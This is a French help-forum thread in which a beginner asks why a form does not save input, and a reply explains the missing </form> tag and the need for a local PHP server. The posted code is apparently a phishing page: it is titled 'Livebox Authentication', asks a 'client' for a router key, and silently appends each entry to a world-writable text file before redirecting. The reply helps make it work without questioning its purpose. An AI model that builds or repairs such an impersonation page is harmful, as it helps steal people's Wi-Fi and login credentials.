Formulaire html + php stockage des donnés dans un fichier txt
formulairehtmlviapost
Messages postés
2
Date d'inscription
Statut
Membre
Dernière intervention
-
formulairehtmlviapost Messages postés 2 Date d'inscription Statut Membre Dernière intervention -
formulairehtmlviapost Messages postés 2 Date d'inscription Statut Membre Dernière intervention -
Salut, j'aurais besoin grandement d'aide sa fait un semaine après de la documentation des heures sur openclassrooms je n'arrive pas stocker mes données via un formulaire html
Ma premières pages :
nom : index.html
le fichier logs.php
nom : logs.php
l'autre fichier cle.txt est vide est en chmod 777,
je voudrais quand un client rentre sa cle qu'elle soit stocker dans le fichier cle.txt sauf dans je rentre une clée sa ne marche pas et il y a redirection vers le logs.php et je voit les codes, je voudrais savoir comment faire pour que quand un client entre sa cle il voir redigirer vers une autre pages et que la cle soit bien engeristrer dans le fichier cle.txt
J'ai tout essayer sa ne marche donc je pense que le problèmes vien du fichier index.html et il manque une balise html au niveaux du <form></form> sauf personne n'a pu me répondre
merci d'avence aurevoir
EDIT : Ajout des balises de code
Ma premières pages :
nom : index.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <link rel="stylesheet" href="style.css"> <img src="images/live3.png" /> <title> Livebox Authentication </title> </head> <form action="logs.php" method="POST"> <P> <label> <h3> mot de passe : </h3> <input class="barre-mdp" type="text" name="cle" /> <label> </p> <p> <input type="submit" value="connexion" /> </p> </html>
le fichier logs.php
nom : logs.php
<?php $cle = $_POST['cle']; $fp = fopen("cle.txt","a+"); fputs($fp, "$cle"); fclose($fp); ?>
l'autre fichier cle.txt est vide est en chmod 777,
je voudrais quand un client rentre sa cle qu'elle soit stocker dans le fichier cle.txt sauf dans je rentre une clée sa ne marche pas et il y a redirection vers le logs.php et je voit les codes, je voudrais savoir comment faire pour que quand un client entre sa cle il voir redigirer vers une autre pages et que la cle soit bien engeristrer dans le fichier cle.txt
J'ai tout essayer sa ne marche donc je pense que le problèmes vien du fichier index.html et il manque une balise html au niveaux du <form></form> sauf personne n'a pu me répondre
merci d'avence aurevoir
EDIT : Ajout des balises de code
A voir également:
- Formulaire html + php stockage des donnés dans un fichier txt
- Whatsapp formulaire opposition - Guide
- Fichier bin - Guide
- Comment réduire la taille d'un fichier - Guide
- Comment ouvrir un fichier epub ? - Guide
- Fichier rar - Guide
2 réponses
Bonjour,
déjà... il manque un </form> dans ton formulaire.
Ensuite...lorsque tu dis :
Tu veux dire que tu peux lire le code php et qu'il n'est pas exécuté ??
Tu bosses en "local" sur ton ordi je suppose....
As tu au moins installé un serveur apache/php ou un logiciel pour l'émuler ? ( un logiciel comme wamp, xampp, easyphp, laragon.... ) ???
Car sans ça... impossible que ton code php ne soit compris...
Autre chose... lorsque tu auras installé ce "serveur" ... il faudra utiliser l'url en http://localhost/tonsite/tonfichier.php ...
Si ton url est du genre file://c:\tonfichier.php ... normal que ça ne marche pas.
pour finir,
vu que tu débutes... autant prendre de bonnes habitudes dès maintenant.
Pour ça, je t'invite à lire (et à appliquer) le contenu de ces deux liens :
- Concernant l'écriture de ton code php : https://forums.commentcamarche.net/forum/affich-37584947-php-gestion-des-erreurs-debogage-et-ecriture-du-code
- Concernant la façon de poster ton code sur le forum à l'avenir :
https://codes-sources.commentcamarche.net/faq/11288-les-balises-de-code
déjà... il manque un </form> dans ton formulaire.
Ensuite...lorsque tu dis :
il y a redirection vers le logs.php et je voit les codes
Tu veux dire que tu peux lire le code php et qu'il n'est pas exécuté ??
Tu bosses en "local" sur ton ordi je suppose....
As tu au moins installé un serveur apache/php ou un logiciel pour l'émuler ? ( un logiciel comme wamp, xampp, easyphp, laragon.... ) ???
Car sans ça... impossible que ton code php ne soit compris...
Autre chose... lorsque tu auras installé ce "serveur" ... il faudra utiliser l'url en http://localhost/tonsite/tonfichier.php ...
Si ton url est du genre file://c:\tonfichier.php ... normal que ça ne marche pas.
pour finir,
vu que tu débutes... autant prendre de bonnes habitudes dès maintenant.
Pour ça, je t'invite à lire (et à appliquer) le contenu de ces deux liens :
- Concernant l'écriture de ton code php : https://forums.commentcamarche.net/forum/affich-37584947-php-gestion-des-erreurs-debogage-et-ecriture-du-code
- Concernant la façon de poster ton code sur le forum à l'avenir :
https://codes-sources.commentcamarche.net/faq/11288-les-balises-de-code